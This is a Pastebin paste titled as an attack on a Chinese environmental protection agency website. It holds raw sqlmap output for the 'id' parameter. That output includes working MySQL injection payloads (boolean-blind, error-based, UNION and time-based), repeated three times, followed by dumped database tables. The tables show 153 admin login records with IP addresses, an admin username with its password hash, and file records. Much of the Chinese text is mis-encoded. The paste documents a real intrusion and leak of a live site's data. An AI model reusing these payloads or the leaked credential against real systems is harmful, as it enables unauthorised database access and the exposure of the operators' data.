TheOkapi

Chinese Environmental Protection Agency. Toplelage

Nov 4th, 2013
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.69 KB | None | 0 0
  1. Parameter: id
  2. Type: boolean-based blind
  3. Title: AND boolean-based blind - WHERE or HAVING clause
  4. Payload: id=148 AND 5118=5118
  5.  
  6. Type: error-based
  7. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  8. Payload: id=148 AND (SELECT 2052 FROM(SELECT COUNT(*),CONCAT(0x3a6876683a,(SELECT (CASE WHEN (2052=2052) THEN 1 ELSE 0 END)),0x3a736a623a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  9.  
  10. Type: UNION query
  11. Title: MySQL UNION query (NULL) - 21 columns
  12. Payload: id=148 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6876683a,0x7067737341576a664f6e,0x3a736a623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
  13.  
  14. Type: AND/OR time-based blind
  15. Title: MySQL > 5.0.11 AND time-based blind
  16. Payload: id=148 AND SLEEP(5)
  17. ---
  18.  
  19. available databases [2]:
  20. [*] information_schema
  21. [*] tchjbh
  22.  
  23. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  24. ---
  25. Place: GET
  26. Parameter: id
  27. Type: boolean-based blind
  28. Title: AND boolean-based blind - WHERE or HAVING clause
  29. Payload: id=148 AND 5118=5118
  30.  
  31. Type: error-based
  32. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  33. Payload: id=148 AND (SELECT 2052 FROM(SELECT COUNT(*),CONCAT(0x3a6876683a,(SELECT (CASE WHEN (2052=2052) THEN 1 ELSE 0 END)),0x3a736a623a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  34.  
  35. Type: UNION query
  36. Title: MySQL UNION query (NULL) - 21 columns
  37. Payload: id=148 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6876683a,0x7067737341576a664f6e,0x3a736a623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
  38.  
  39. Type: AND/OR time-based blind
  40. Title: MySQL > 5.0.11 AND time-based blind
  41. Payload: id=148 AND SLEEP(5)
  42. ---
  43.  
  44. Database: tchjbh
  45. [15 tables]
  46. +-----------------+
  47. | admin_authority |
  48. | admin_login |
  49. | admininfo |
  50. | advanced |
  51. | big_class |
  52. | count |
  53. | files |
  54. | info |
  55. | information1 |
  56. | ip |
  57. | message |
  58. | sec_class |
  59. | third_class |
  60. | tqinfo |
  61. | vote |
  62. +-----------------+
  63.  
  64. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  65. ---
  66. Place: GET
  67. Parameter: id
  68. Type: boolean-based blind
  69. Title: AND boolean-based blind - WHERE or HAVING clause
  70. Payload: id=148 AND 5118=5118
  71.  
  72. Type: error-based
  73. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  74. Payload: id=148 AND (SELECT 2052 FROM(SELECT COUNT(*),CONCAT(0x3a6876683a,(SELECT (CASE WHEN (2052=2052) THEN 1 ELSE 0 END)),0x3a736a623a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  75.  
  76. Type: UNION query
  77. Title: MySQL UNION query (NULL) - 21 columns
  78. Payload: id=148 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6876683a,0x7067737341576a664f6e,0x3a736a623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
  79.  
  80. Type: AND/OR time-based blind
  81. Title: MySQL > 5.0.11 AND time-based blind
  82. Payload: id=148 AND SLEEP(5)
  83. ---
  84.  
  85. Database: tchjbh
  86. Table: admin_authority
  87. [1 entry]
  88. +-----------+-------------+------------------+
  89. | manage_id | manage_name | manage_Authority |
  90. +-----------+-------------+------------------+
  91. | 1 | ????? | <blank> |
  92. +-----------+-------------+------------------+
  93.  
  94. Database: tchjbh
  95. Table: admin_login
  96. [153 entries]
  97. +----------+-----------------+------------+
  98. | username | login_ip | login_time |
  99. +----------+-----------------+------------+
  100. | admin | 127.0.0.1 | 1183642943 |
  101. | admin | 127.0.0.1 | 1183643455 |
  102. | admin | 127.0.0.1 | 1183823320 |
  103. | admin | 127.0.0.1 | 1183823453 |
  104. | admin | 58.242.209.79 | 1216228821 |
  105. | admin | 60.175.9.18 | 1216280296 |
  106. | admin | 218.22.138.126 | 1216343974 |
  107. | 123456 | 58.242.211.253 | 1216362712 |
  108. | 123456 | 58.242.209.249 | 1216365380 |
  109. | admin | 60.175.23.185 | 1216375221 |
  110. | admin | 60.175.23.185 | 1216389526 |
  111. | admin | 60.175.23.185 | 1216390814 |
  112. | 123456 | 58.242.211.58 | 1216442377 |
  113. | 123456 | 58.242.209.83 | 1216953628 |
  114. | 123456 | 58.242.208.122 | 1217301414 |
  115. | admin | 124.112.13.182 | 1220575846 |
  116. | admin | 124.112.13.43 | 1220576153 |
  117. | admin | 124.112.13.43 | 1220582996 |
  118. | admin | 124.112.13.43 | 1220583486 |
  119. | admin | 124.112.13.43 | 1220585681 |
  120. | admin | 124.112.13.43 | 1220593814 |
  121. | admin | 124.112.14.2 | 1220944454 |
  122. | admin | 124.112.15.132 | 1221295405 |
  123. | admin | 124.112.59.138 | 1221395221 |
  124. | 123456 | 218.22.1.140 | 1221896700 |
  125. | 123456 | 218.22.1.140 | 1221906085 |
  126. | 123456 | 127.0.0.1 | 1221915353 |
  127. | admin | 127.0.0.1 | 1221915634 |
  128. | admin | 127.0.0.1 | 1221977139 |
  129. | admin | 127.0.0.1 | 1221977187 |
  130. | admin | 127.0.0.1 | 1221992624 |
  131. | admin | 127.0.0.1 | 1222049264 |
  132. | admin | 127.0.0.1 | 1222049353 |
  133. | admin | 127.0.0.1 | 1224591930 |
  134. | admin | 127.0.0.1 | 1224592011 |
  135. | admin | 220.178.47.3 | 1229159829 |
  136. | admin | 220.178.47.4 | 1229213483 |
  137. | admin | 220.178.47.3 | 1229227301 |
  138. | admin | 220.178.47.3 | 1229232376 |
  139. | admin | 220.178.47.3 | 1229243598 |
  140. | admin | 117.66.212.192 | 1229322489 |
  141. | admin | 117.66.192.57 | 1229392481 |
  142. | admin | 60.168.70.36 | 1229393195 |
  143. | admin | 220.178.47.4 | 1229431162 |
  144. | admin | 117.66.192.154 | 1229473584 |
  145. | admin | 60.168.67.78 | 1229489176 |
  146. | admin | 117.66.212.80 | 1229503433 |
  147. | admin | 60.168.67.78 | 1229504283 |
  148. | admin | 220.178.47.4 | 1229515715 |
  149. | admin | 220.178.47.4 | 1229516402 |
  150. | admin | 220.178.47.4 | 1229520592 |
  151. | admin | 117.66.192.61 | 1229733023 |
  152. | admin | 117.66.192.62 | 1231465296 |
  153. | admin | 117.66.192.62 | 1231465480 |
  154. | admin | 117.66.192.236 | 1231726296 |
  155. | admin | 117.66.192.213 | 1232158971 |
  156. | admin | 117.66.192.213 | 1232162274 |
  157. | admin | 60.168.66.75 | 1233713166 |
  158. | admin | 60.168.74.44 | 1234321206 |
  159. | admin | 60.168.79.67 | 1234576389 |
  160. | admin | 60.168.69.248 | 1234831352 |
  161. | admin | 117.66.192.193 | 1238205039 |
  162. | admin | 60.168.77.5 | 1245651717 |
  163. | admin | 60.168.67.13 | 1248179324 |
  164. | admin | 60.175.60.128 | 1250736581 |
  165. | admin | 60.175.59.83 | 1250736970 |
  166. | admin | 60.175.60.128 | 1250737763 |
  167. | admin | 60.171.183.191 | 1250741307 |
  168. | admin | 124.112.57.167 | 1250771393 |
  169. | admin | 60.175.60.178 | 1250846361 |
  170. | admin | 60.175.60.23 | 1250902998 |
  171. | admin | 114.99.1.167 | 1251013810 |
  172. | admin | 220.180.207.83 | 1251082736 |
  173. | admin | 60.175.59.48 | 1251160035 |
  174. | admin | 60.175.14.148 | 1251183876 |
  175. | admin | 60.175.16.144 | 1251186139 |
  176. | admin | 123.117.67.181 | 1251853920 |
  177. | admin | 60.175.62.3 | 1252286030 |
  178. | admin | 60.175.62.3 | 1252288750 |
  179. | admin | 60.175.12.82 | 1252373577 |
  180. | admin | 60.175.63.56 | 1252377184 |
  181. | admin | 60.175.12.82 | 1252378602 |
  182. | admin | 60.175.9.75 | 1252410820 |
  183. | admin | 60.175.9.225 | 1252540714 |
  184. | admin | 60.175.61.60 | 1252568448 |
  185. | admin | 60.175.62.243 | 1252569872 |
  186. | admin | 60.175.61.82 | 1252582358 |
  187. | admin | 60.175.61.82 | 1252585718 |
  188. | admin | 60.175.61.82 | 1252586378 |
  189. | admin | 114.99.0.183 | 1252762816 |
  190. | admin | 60.175.63.214 | 1252895270 |
  191. | admin | 60.175.63.214 | 1252898334 |
  192. | admin | 60.175.14.105 | 1252937737 |
  193. | admin | 60.175.13.44 | 1253235856 |
  194. | admin | 60.171.183.57 | 1253348688 |
  195. | admin | 114.99.2.168 | 1253450393 |
  196. | admin | 114.99.2.168 | 1253450714 |
  197. | admin | 114.99.2.168 | 1253453103 |
  198. | admin | 117.66.159.233 | 1253502088 |
  199. | admin | 60.175.59.67 | 1253775027 |
  200. | admin | 60.175.60.220 | 1253840022 |
  201. | admin | 114.99.1.46 | 1253970497 |
  202. | admin | 114.99.1.46 | 1253971278 |
  203. | admin | 60.175.60.108 | 1254028709 |
  204. | admin | 60.175.60.108 | 1254030816 |
  205. | admin | 124.112.58.206 | 1254037801 |
  206. | admin | 60.175.14.211 | 1254109287 |
  207. | admin | 60.175.12.185 | 1254120393 |
  208. | admin | 60.175.61.27 | 1254274621 |
  209. | admin | 60.175.15.214 | 1254709136 |
  210. | admin | 117.66.158.38 | 1254750776 |
  211. | admin | 60.175.12.20 | 1255951741 |
  212. | admin | 60.175.10.133 | 1256011428 |
  213. | admin | 60.175.10.133 | 1256013308 |
  214. | admin | 60.175.19.178 | 1256111366 |
  215. | admin | 60.175.14.132 | 1256394079 |
  216. | admin | 60.175.15.184 | 1257309755 |
  217. | admin | 117.66.223.203 | 1257518386 |
  218. | admin | 60.175.62.142 | 1257674207 |
  219. | admin | 60.175.19.99 | 1257948409 |
  220. | admin | 60.175.16.165 | 1258074650 |
  221. | admin | 60.171.183.136 | 1258795084 |
  222. | admin | 60.175.14.180 | 1258882002 |
  223. | admin | 60.175.14.180 | 1258882337 |
  224. | admin | 60.175.61.222 | 1260429696 |
  225. | admin | 60.175.61.83 | 1260438334 |
  226. | admin | 60.175.61.83 | 1260439704 |
  227. | admin | 114.99.3.120 | 1260538458 |
  228. | admin | 114.99.3.120 | 1260538819 |
  229. | admin | 61.191.247.245 | 1262134403 |
  230. | admin | 61.191.247.245 | 1262741491 |
  231. | admin | 61.191.247.245 | 1263434515 |
  232. | admin | 61.191.247.245 | 1263888646 |
  233. | admin | 61.191.247.245 | 1264401015 |
  234. | admin | 61.191.247.245 | 1264725307 |
  235. | admin | 61.191.247.245 | 1265599151 |
  236. | admin | 61.191.247.245 | 1266909772 |
  237. | admin | 61.191.247.245 | 1267514742 |
  238. | admin | 60.168.67.126 | 1270608646 |
  239. | admin | 117.66.234.65 | 1281162888 |
  240. | admin | 117.66.169.147 | 1281530096 |
  241. | admin | 183.161.20.233 | 1283171995 |
  242. | admin | 120.204.17.45 | 1287732140 |
  243. | admin | 120.204.18.127 | 1290747470 |
  244. | admin | 223.240.120.136 | 1319356713 |
  245. | 1 | 180.110.170.94 | 1331348321 |
  246. | admin | 183.167.245.22 | 1355723029 |
  247. | 0 | 222.130.143.151 | 1375941238 |
  248. | 0 | 222.130.143.151 | 1375944240 |
  249. | 1 | 180.190.251.135 | 1379552949 |
  250. | 1 | 180.190.251.135 | 1379553034 |
  251. | 1 | 180.190.251.135 | 1379553755 |
  252. | 1 | 123.17.80.183 | 1381396748 |
  253. +----------+-----------------+------------+
  254.  
  255.  
  256.  
  257. Database: tchjbh
  258. Table: admininfo
  259. [1 entry]
  260. +----+-------+-------+----------------------------------+----------+----------+-----------+-------------+-------------+
  261. | id | grade | state | passwd | username | realname | login_sum | create_time | modify_time |
  262. +----+-------+-------+----------------------------------+----------+----------+-----------+-------------+-------------+
  263. | 18 | 1 | 0 | 25b9e816781be124c4e070f1e776ad7e | admin | admin | 123 | 1222051249 | 1379553755 |
  264. +----+-------+-------+----------------------------------+----------+----------+-----------+-------------+-------------+
  265.  
  266. Database: tchjbh
  267. Table: advanced
  268. [7 entries]
  269. +----+----------+-------+---------+-------------------+
  270. | id | name | state | shownum | default_file |
  271. +----+----------+-------+---------+-------------------+
  272. | 1 | ç??èš?æ?¥ç?? | 1 | 10 | message_list.php |
  273. | 2 | job | 0 | 20 | job_list.php |
  274. | 3 | order | 0 | 30 | order_list.php |
  275. | 4 | invest | 0 | 40 | investigation.php |
  276. | 7 | user | 0 | 70 | useradd.php |
  277. | 8 | useredit | 0 | 80 | useredit.php |
  278. | 9 | �计 | 1 | 90 | count_list.php |
  279. +----+----------+-------+---------+-------------------+
  280.  
  281. Database: tchjbh
  282. Table: big_class
  283. [8 entries]
  284. +----+--------+---------+---------+---------+----------+----------+----------+----------+----------+-----------+-----------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+----------------+
  285. | id | hasHot | sec_pic | shownum | hasFile | hasIntro | hasViews | hasState | typename | sec_cont | hasAuthor | sec_class | hassmaPic | hasbigPic | hasSource | info_state | hasWebsite | hasContent | hasKeyword | third_state | hasPublishdate |
  286. +----+--------+---------+---------+---------+----------+----------+----------+----------+----------+-----------+-----------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+----------------+
  287. | 2 | 0 | 0 | 20 | 0 | 0 | 0 | 1 | 信息管� | 0 | 0 | allow | 0 | 0 | 0 | list | 0 | 1 | 0 | NO | 1 |
  288. | 3 | 0 | 0 | 30 | 0 | 0 | 0 | 1 | å??äº?æ??å? | 0 | 0 | allow | 0 | 0 | 0 | list | 0 | 1 | 0 | NO | 1 |
  289. | 4 | 0 | 0 | 40 | 0 | 0 | 0 | 1 | ç?¯å¢?æ ?å?? | 0 | 0 | allow | 0 | 0 | 0 | list | 0 | 1 | 0 | NO | 1 |
  290. | 5 | 0 | 0 | 50 | 0 | 0 | 0 | 1 | å??æ?¿å»ºè®Ÿ | 0 | 0 | allow | 0 | 0 | 0 | list | 0 | 1 | 0 | NO | 1 |
  291. | 6 | 0 | 0 | 60 | 0 | 0 | 0 | 1 | ���� | 0 | 0 | allow | 0 | 0 | 0 | list | 0 | 1 | 0 | NO | 1 |
  292. | 7 | 0 | 0 | 70 | 0 | 0 | 0 | 1 | �保�� | 0 | 0 | allow | 1 | 0 | 0 | list | 0 | 1 | 0 | NO | 1 |
  293. | 8 | 0 | 0 | 80 | 0 | 0 | 0 | 1 | å?æ??é?Ÿæ?¥ | 0 | 0 | allow | 0 | 0 | 0 | list | 1 | 0 | 0 | NO | 1 |
  294. | 9 | 0 | 0 | 90 | 0 | 0 | 0 | 1 | ç?¯å¢?ç§?æ?? | 0 | 0 | allow | 0 | 0 | 0 | list | 0 | 1 | 0 | NO | 1 |
  295. +----+--------+---------+---------+---------+----------+----------+----------+----------+----------+-----------+-----------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+----------------+
  296.  
  297. Database: tchjbh
  298. Table: count
  299. [1 entry]
  300. +----+-------+
  301. | id | count |
  302. +----+-------+
  303. | 1 | 88 |
  304. +----+-------+
  305.  
  306. Database: tchjbh
  307. Table: files
  308. [8 entries]
  309. +----------+-----+------------+--------------------------+-----------+-----------------------+------------+-------------+
  310. | table_id | ext | length | realname | file_falg | file_path | table_name | table_order |
  311. +----------+-----+------------+--------------------------+-----------+-----------------------+------------+-------------+
  312. | 141 | jpg | 38506.000 | 1.jpg | sma | 20090908103920945.jpg | info | 1 |
  313. | 176 | jpg | 329279.000 | 6.JPG | sma | 20090910203847822.jpg | info | 1 |
  314. | 182 | jpg | 320228.000 | 1.JPG | sma | 20090918093328336.jpg | info | 1 |
  315. | 186 | jpg | 109652.000 | 1.JPG | sma | 20090920213147554.jpg | info | 1 |
  316. | 203 | jpg | 158950.000 | 1.jpg | sma | 20091020123541973.jpg | info | 1 |
  317. | 221 | jpg | 148096.000 | IMG_0654.jpg | sma | 20091210180414118.jpg | info | 1 |
  318. | 220 | jpg | 199270.000 | IMG_0664.jpg | sma | 20091210180501487.jpg | info | 1 |
  319. | 223 | jpg | 28722.000 | 11335601208779781757.jpg | sma | 20091210181903286.jpg | info | 1 |
  320. +----------+-----+------------+--------------------------+-----------+-----------------------+------------+-------------+
Advertisement
Add Comment
Please, Sign In to add comment